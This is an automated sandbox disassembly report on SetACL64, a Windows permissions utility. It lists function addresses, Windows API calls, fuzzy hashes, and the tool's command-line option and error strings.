Part of subcall function 00007FF7C174892C: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7C17488D9), ref: 00007FF7C1748935
Part of subcall function 00007FF7C174892C: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7C17488D9), ref: 00007FF7C174895A

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID:
API String ID: 4036615347-0
Opcode ID: 01bf2f7c1c0373d22a9fd7fc4837b34006ff1f510dd49b4efdda92cd23d07591
Instruction ID: ac51dcf6cce31e023fb81c41b260e88b60d4fdaf157d2e8982e063a5be090be3
Opcode Fuzzy Hash: 01bf2f7c1c0373d22a9fd7fc4837b34006ff1f510dd49b4efdda92cd23d07591
Instruction Fuzzy Hash: 0A219F31A0DB1286F715BFA69511239E691AF48BB0F858634DE9C07BC7DFBCE8014B20

Function 00007FF7C1752FF4 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7C1753013

Part of subcall function 00007FF7C17530FC: GetModuleHandleExW.KERNEL32 ref: 00007FF7C1753118
Part of subcall function 00007FF7C17530FC: GetProcAddress.KERNEL32 ref: 00007FF7C175312E
Part of subcall function 00007FF7C17530FC: FreeLibrary.KERNEL32 ref: 00007FF7C175314B

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 286ab29e5b4e5e8684a2d532cff1b6c2a16fd24655239a0828d2631ae31001b4
Instruction ID: 9abaaf4855ea88a14923a7a6f6e9a40a45d9c4f640d855f7c694675896f9a37d
Opcode Fuzzy Hash: 286ab29e5b4e5e8684a2d532cff1b6c2a16fd24655239a0828d2631ae31001b4
Instruction Fuzzy Hash: D0218032E04B05C9EB11EF65C4942ED77A1EB48718F84853AD61D02A96DFB8D485CBA0

Function 00007FF7C175D280 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C175D2AB

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c30b1e064e743196e07e5390d10242aa5ba62166ee02cd7138439e9ec16f8412
Instruction ID: 8a03b74f3c7984448cde599b3336377d66e3bca58c7a4caef3777aca393149c4
Opcode Fuzzy Hash: c30b1e064e743196e07e5390d10242aa5ba62166ee02cd7138439e9ec16f8412
Instruction Fuzzy Hash: 3B115832A1CA4282F310AF56E550169E3A5FB4D7A0F854134E65D476A7CEBCE8218B60

Function 00007FF7C17499A4 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C17499CF

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 722239ba75a1275613d8d5edc4f854a8cebc1af2643a0ced5ac4e3957d6e0898
Instruction ID: ffa018c66b1c0ab62c6575403b69904a67bc4f4f3d934b29ba2162bd7b5c6d86
Opcode Fuzzy Hash: 722239ba75a1275613d8d5edc4f854a8cebc1af2643a0ced5ac4e3957d6e0898
Instruction Fuzzy Hash: 1411E472A14B569DEB10EFA1D4812ED37B8FB0836CF900636EA4D16B5ADF74C194C7A0

Function 00007FF7C174D5BC Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C174D5ED

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: da481b460c6bc961ce96e17a769fa7a37d49dd1e559ba5bc478610412f584907
Instruction ID: e3e48e263a7e149cce940042e08a344c08ab822f3b8fcee2a6a2498831e1b29b
Opcode Fuzzy Hash: da481b460c6bc961ce96e17a769fa7a37d49dd1e559ba5bc478610412f584907
Instruction Fuzzy Hash: BB11D672A11F559CEB11DFA1E8404DC37B8FB183ACB900635EA5D12B59EF74C1A5C790

Function 00007FF7C175BCC4 Relevance: 1.5, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C1755094: RtlAllocateHeap.NTDLL(?,?,?,00007FF7C175BCE1,?,?,00000000,00007FF7C175D70B,?,?,?,00007FF7C17534C7,?,?,?,00007FF7C17533BD), ref: 00007FF7C17550D2

RtlReAllocateHeap.NTDLL(?,?,00000000,00007FF7C175D70B,?,?,?,00007FF7C17534C7,?,?,?,00007FF7C17533BD,?,?,?,00007FF7C175378E), ref: 00007FF7C175BD31

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9cdcd61cdf70f904c49f21d180333aab02995e45e4132c0ba3bc39a00b87e90c
Instruction ID: 6f7f1871edc7f03eb248e9ca11bcfee8693d3277a653a50d2a893e75ca8c2a14
Opcode Fuzzy Hash: 9cdcd61cdf70f904c49f21d180333aab02995e45e4132c0ba3bc39a00b87e90c
Instruction Fuzzy Hash: 6801E810E0DA4780FB95BF6755612B991525F8D7B0FC88231EE2E472D7EDBCE4404225

Function 00007FF7C1754FDC Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7C175403D,?,?,000083BA01AAD97A,00007FF7C174E201,?,?,?,?,00007FF7C175BCFA,?,?,00000000), ref: 00007FF7C1755031

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 89a5a3ef5b4c50bf8ebc705ee340fd4fffb8f9892841d30dbb7076e131b2c7ac
Instruction ID: 8d7a6f1b6a23194ec2b687de9ab5b63070eb1d575176e41206ce048ef144f568
Opcode Fuzzy Hash: 89a5a3ef5b4c50bf8ebc705ee340fd4fffb8f9892841d30dbb7076e131b2c7ac
Instruction Fuzzy Hash: 80F03714B0AA0781FF547EA799252B582805F4DBA0FCC5031C90E86793EDBCA4814270

Function 00007FF7C1755094 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF7C175BCE1,?,?,00000000,00007FF7C175D70B,?,?,?,00007FF7C17534C7,?,?,?,00007FF7C17533BD), ref: 00007FF7C17550D2

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2f196856deb6c2beed50a9074e3ee722879ff99fb33f915a306f397b97a56255
Instruction ID: bec5f7d43bf05c93e0c4607ca598c4b596a99968609605b3eb1fc371d60ae75d
Opcode Fuzzy Hash: 2f196856deb6c2beed50a9074e3ee722879ff99fb33f915a306f397b97a56255
Instruction Fuzzy Hash: CDF0FE10B09A07C5FB947EB35961279D2815F4D7B0FD88630DD2E862C3DDBCE8808171

Function 00007FF7C1701130 Relevance: 1.5, APIs: 1, Instructions: 20networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF7C1701171

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: e2e48b089702cd41e97987c4de5919cfb4dbdded5e8bd07c72deee5bbe57a52e
Instruction ID: 91325de472e8dd725f095c479e88ee92f4869fc36a49da94d5acd92c76b856d7
Opcode Fuzzy Hash: e2e48b089702cd41e97987c4de5919cfb4dbdded5e8bd07c72deee5bbe57a52e
Instruction Fuzzy Hash: 89F05E31D0864285FB51FF16E8513B5A3A0FF4D324FC00032C54D46262DE6DE0158F60

Non-executed Functions

Function 00007FF7C172E530 Relevance: 177.8, APIs: 61, Strings: 39, Instructions: 2831COMMON

Download Yara Rule

APIs

GetSecurityDescriptorControl.ADVAPI32 ref: 00007FF7C172F168
GetLastError.KERNEL32 ref: 00007FF7C172F179
LocalFree.KERNEL32 ref: 00007FF7C172F260
IsValidSid.ADVAPI32 ref: 00007FF7C172F475
IsValidSid.ADVAPI32 ref: 00007FF7C172F572

Part of subcall function 00007FF7C1733B20: GetAclInformation.ADVAPI32(?,?,?,?,?,?,00000000,00000000,00000000,00001000,?,00007FF7C172F5AD), ref: 00007FF7C1733B8B

GetAclInformation.ADVAPI32 ref: 00007FF7C172F695
GetLastError.KERNEL32 ref: 00007FF7C172F69F
GetAce.ADVAPI32 ref: 00007FF7C172F6DA
DeleteAce.ADVAPI32 ref: 00007FF7C172F6F4
GetLastError.KERNEL32 ref: 00007FF7C172F73E
GetAclInformation.ADVAPI32 ref: 00007FF7C172F76E
GetLastError.KERNEL32 ref: 00007FF7C172F778
GetAce.ADVAPI32 ref: 00007FF7C172F7AA
DeleteAce.ADVAPI32 ref: 00007FF7C172F7D4
GetLastError.KERNEL32 ref: 00007FF7C172F80F
GetAclInformation.ADVAPI32 ref: 00007FF7C172F861
GetLastError.KERNEL32 ref: 00007FF7C172F86B
GetAce.ADVAPI32 ref: 00007FF7C172F89A
DeleteAce.ADVAPI32 ref: 00007FF7C172F8B8
GetAclInformation.ADVAPI32 ref: 00007FF7C172F919
GetLastError.KERNEL32 ref: 00007FF7C172F923
GetAce.ADVAPI32 ref: 00007FF7C172F95A

Part of subcall function 00007FF7C17339C0: GetAclInformation.ADVAPI32(?,?,00000000,00000000,00000000,00000007,?,00007FF7C1731FD2), ref: 00007FF7C1733A15
Part of subcall function 00007FF7C17339C0: GetAce.ADVAPI32(?,?,00000000,00000000,00000000,00000007,?,00007FF7C1731FD2), ref: 00007FF7C1733A3A
Part of subcall function 00007FF7C17339C0: EqualSid.ADVAPI32(?,?,00000000,00000000,00000000,00000007,?,00007FF7C1731FD2), ref: 00007FF7C1733A55

DeleteAce.ADVAPI32 ref: 00007FF7C172F98A

Part of subcall function 00007FF7C1714230: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171428B

Part of subcall function 00007FF7C1709420: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17094AC

ConvertSecurityDescriptorToStringSecurityDescriptorW.ADVAPI32 ref: 00007FF7C172F9DD
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C1730653
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C17308E5
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C1730A00
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C1730A78
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C1730AA2
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C1730BBD
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C1730C35
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C1730E1C
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C1730EB8
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C1730FE0
SimpleUString::operator=.MSOBJ140-MSVCRT ref: 00007FF7C173107C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316A0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316A6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316B2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316B8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316BE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316C4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316CA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316D0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316D6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316DC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316E2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316E8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316EE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17316FA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731700
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731706
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731712
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731718
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731724
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173172A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731730
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173173C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731742
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731748
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173174E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1731754

Strings

Owner:, xrefs: 00007FF7C1730A22
Owner:[empty], xrefs: 00007FF7C17309F2
:[NULL], xrefs: 00007FF7C17305ED, 00007FF7C1730883
Group: [NULL], xrefs: 00007FF7C173106E
Group:, xrefs: 00007FF7C1730BDF
> has a NULL security descriptor (granting full control to everyone) and is being ignored., xrefs: 00007FF7C172F001
Owner: [NULL], xrefs: 00007FF7C1730EAA
Owner:[NULL], xrefs: 00007FF7C1730A6A
:[empty], xrefs: 00007FF7C1730504, 00007FF7C173079F
SACL, xrefs: 00007FF7C1731404, 00007FF7C173146A, 00007FF7C1731516
(protected, xrefs: 00007FF7C172F44F, 00007FF7C172F55D
+auto_inherited), xrefs: 00007FF7C172F51B, 00007FF7C172F61A
SACL: [error:, xrefs: 00007FF7C1731367
> failed with: , xrefs: 00007FF7C172F1BA
DACL, xrefs: 00007FF7C173118E, 00007FF7C17311F4, 00007FF7C17312A9
Owner: [error:, xrefs: 00007FF7C1730D7C
Group: , xrefs: 00007FF7C1731002
: [empty], xrefs: 00007FF7C17311A2, 00007FF7C1731418
SACL, xrefs: 00007FF7C17306AA, 00007FF7C173078B, 00007FF7C17307EA, 00007FF7C1730872
Group:[error:, xrefs: 00007FF7C1730B1D
Owner:[error:, xrefs: 00007FF7C1730960
DACL, xrefs: 00007FF7C1730411, 00007FF7C17304F0, 00007FF7C173054D, 00007FF7C17305DC
Owner: , xrefs: 00007FF7C1730E3E
Parsing the SD of <, xrefs: 00007FF7C172F1A6
Group:[NULL], xrefs: 00007FF7C1730C27
Group:[empty], xrefs: 00007FF7C1730BAF
Group: [empty], xrefs: 00007FF7C1730FD2
: , xrefs: 00007FF7C1731208, 00007FF7C173147E
Owner: [empty], xrefs: 00007FF7C1730E0E
The object <, xrefs: 00007FF7C172EFE7
Group: [error:, xrefs: 00007FF7C1730F40
DACL: [error:, xrefs: 00007FF7C17310F1
:[error:, xrefs: 00007FF7C1730425, 00007FF7C17306BE
(not_protected, xrefs: 00007FF7C172F4F6, 00007FF7C172F5EE
> because a filter keyword matched., xrefs: 00007FF7C172EB0A
Omitting ACL of: <, xrefs: 00007FF7C172EAF0
(pseudo_protected, xrefs: 00007FF7C172F4C6, 00007FF7C172F5B7
ListSD, xrefs: 00007FF7C172EB61, 00007FF7C172F05B, 00007FF7C172F1E3, 00007FF7C1731661
: [NULL], xrefs: 00007FF7C17312BA, 00007FF7C1731527

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$SimpleString::operator=$ErrorLast$Information$Delete$DescriptorSecurity$Valid$ControlConvertEqualFreeLocalString
String ID: DACL$ DACL: [error:$ Group: $ Group: [NULL]$ Group: [empty]$ Group: [error:$ Owner: $ Owner: [NULL]$ Owner: [empty]$ Owner: [error:$ SACL$ SACL: [error:$(not_protected$(protected$(pseudo_protected$+auto_inherited)$: $: [NULL]$: [empty]$:[NULL]$:[empty]$:[error:$> because a filter keyword matched.$> failed with: $> has a NULL security descriptor (granting full control to everyone) and is being ignored.$DACL$Group:$Group:[NULL]$Group:[empty]$Group:[error:$ListSD$Omitting ACL of: <$Owner:$Owner:[NULL]$Owner:[empty]$Owner:[error:$Parsing the SD of <$SACL$The object <
API String ID: 503136041-36202760
Opcode ID: 95b1e73e3a08943be6edc322f9fce221ccbe777883c1dbf8b4f712d1b5456688
Instruction ID: d2ac2f4798ae3649999505ea34374ac1d6804de63142b37175af5120d911c3e0
Opcode Fuzzy Hash: 95b1e73e3a08943be6edc322f9fce221ccbe777883c1dbf8b4f712d1b5456688
Instruction Fuzzy Hash: 5453A462A097C295EB20EF26D8443EDA360EB49368FD04131D65D476EBDFBCE689C350

Function 00007FF7C1701A30 Relevance: 157.3, Strings: 121, Instructions: 6075COMMON

Download Yara Rule

Strings

-on, xrefs: 00007FF7C1701FAB
-silent, xrefs: 00007FF7C1701D0A
dacl, xrefs: 00007FF7C1702D76, 00007FF7C1703121, 00007FF7C1703B6C, 00007FF7C17040F4, 00007FF7C1704931, 00007FF7C1705108, 00007FF7C1705D11
ERROR in command line: Invalid protection entry , xrefs: 00007FF7C17077F2, 00007FF7C17078ED
ERROR while processing command line: primary group: , xrefs: 00007FF7C1707719
-raw, xrefs: 00007FF7C1701D9E
cont_obj, xrefs: 00007FF7C1702C86
own, xrefs: 00007FF7C170564A
ERROR in command line: Invalid ACL type (where) entry , xrefs: 00007FF7C1706492, 00007FF7C1706984, 00007FF7C1706E3C
domain, xrefs: 00007FF7C1702529
ERROR (internal) while processing command line: list options: , xrefs: 00007FF7C1708446
clear, xrefs: 00007FF7C1702853
in a parameter option -os specified: , xrefs: 00007FF7C1708508
ERROR (internal) while processing command line: Action: , xrefs: 00007FF7C17026DB, 00007FF7C17027BA
ERROR while processing command line: object (name, type): , xrefs: 00007FF7C1702023, 00007FF7C1702358
repltrst, xrefs: 00007FF7C1703FAD
-help, xrefs: 00007FF7C1701BF3
INFO: The restore action ignores the object name parameter (paths are read from the backup file). However, other actions that requ, xrefs: 00007FF7C170260C
wmi, xrefs: 00007FF7C17022E8
sacl, xrefs: 00007FF7C1702DB9, 00007FF7C17031E7, 00007FF7C1703BB7, 00007FF7C1704141, 00007FF7C170497E, 00007FF7C170528D, 00007FF7C1705D5B
-rst, xrefs: 00007FF7C1702D3C
in a parameter option -ace specified: , xrefs: 00007FF7C1706290, 00007FF7C17063A4, 00007FF7C17064A6, 00007FF7C1708144
aud_succ,aud_fail, xrefs: 00007FF7C1703AA4
reg, xrefs: 00007FF7C170218D
ERROR (internal) while processing command line: Action: SETINHFROMPAR could not be set!, xrefs: 00007FF7C1702A22
-op, xrefs: 00007FF7C1704FDB
in a parameter option -lst specified: , xrefs: 00007FF7C1707D56, 00007FF7C1707E51, 00007FF7C1707F4C, 00007FF7C1708048
ERROR (internal) while processing command line: Action: DELORPHANEDSIDS could not be set!, xrefs: 00007FF7C1702970
ERROR (internal) while processing command line: Action: CLEARDACL could not be set!, xrefs: 00007FF7C1703170, 00007FF7C1705ECB, 00007FF7C170614E
WARNING: The parameter <%s> contains a double quotation mark (". Did you unintentionally escape a double quote? Hint: use <"C:\\">, xrefs: 00007FF7C1701E3B
-clr, xrefs: 00007FF7C17030E7
-ace, xrefs: 00007FF7C17033FE
ERROR (internal) while processing command line: Action: RESETCHILDPERMS could not be set!, xrefs: 00007FF7C1702AD8
ERROR (internal) while processing command line: object flags: , xrefs: 00007FF7C1707BEA
sddl, xrefs: 00007FF7C17055B1
-ignoreerr, xrefs: 00007FF7C1701D55
ERROR (internal) while processing command line: recursion type could not be set!, xrefs: 00007FF7C1702CC5
sacl,dacl, xrefs: 00007FF7C1702E3B, 00007FF7C17032EE
shr, xrefs: 00007FF7C1702293
rstchldrn, xrefs: 00007FF7C1702A99
> in a parameter option -lst specified: , xrefs: 00007FF7C1708258, 00007FF7C1708353
> in a parameter option -grp specified: , xrefs: 00007FF7C1707529, 00007FF7C1707624
yes, xrefs: 00007FF7C1702C09
> in a parameter option -trst specified: , xrefs: 00007FF7C1706B5B
file, xrefs: 00007FF7C1702135
ERROR while processing command line: Domain: , xrefs: 00007FF7C1707152
ERROR in command line: Invalid inheritance entry , xrefs: 00007FF7C170627C
aud_succ, xrefs: 00007FF7C17039B9
obj, xrefs: 00007FF7C1702C49
ERROR while processing command line: Trustee: , xrefs: 00007FF7C170445E
> in a parameter option -op specified: , xrefs: 00007FF7C17079FC, 00007FF7C1707AF7
ERROR in command line: Invalid recursion type specified: , xrefs: 00007FF7C1705FED
ERROR in command line: Invalid object type specified: , xrefs: 00007FF7C1705DF7
setowner, xrefs: 00007FF7C1702695
ERROR (internal) while processing command line: Action: CLEARSACL could not be set!, xrefs: 00007FF7C17028BE, 00007FF7C1703236, 00007FF7C1703387
cpytrst, xrefs: 00007FF7C1703FFB
ERROR in command line: Invalid parameter for option -clr specified: , xrefs: 00007FF7C17061BC
could not be processed!, xrefs: 00007FF7C1706C62
in a parameter option -dom specified: , xrefs: 00007FF7C1706D55, 00007FF7C1706E50
p_c, xrefs: 00007FF7C17051EC, 00007FF7C1705371
ERROR in command line: No parameter found for option , xrefs: 00007FF7C170873C, 00007FF7C1708817
delorphanedsids, xrefs: 00007FF7C1702935
ERROR (internal) while processing command line: orphaned SID deletion options: , xrefs: 00007FF7C17085EB
ERROR in command line: Invalid option specified: , xrefs: 00007FF7C1708688
-fltr, xrefs: 00007FF7C170308E
csv, xrefs: 00007FF7C17042E8, 00007FF7C170560B
in a parameter option -op specified: , xrefs: 00007FF7C1707806, 00007FF7C1707901
list, xrefs: 00007FF7C1702587
restore, xrefs: 00007FF7C17025E2
ERROR in command line: Invalid list format entry , xrefs: 00007FF7C1707D42, 00007FF7C1707E3D, 00007FF7C1707F38, 00007FF7C1708034
-ownr, xrefs: 00007FF7C1704BB9
ERROR in command line: Invalid access mode entry , xrefs: 00007FF7C1706390
-actn, xrefs: 00007FF7C170241E
dacl,sacl, xrefs: 00007FF7C1702E07, 00007FF7C17032BA
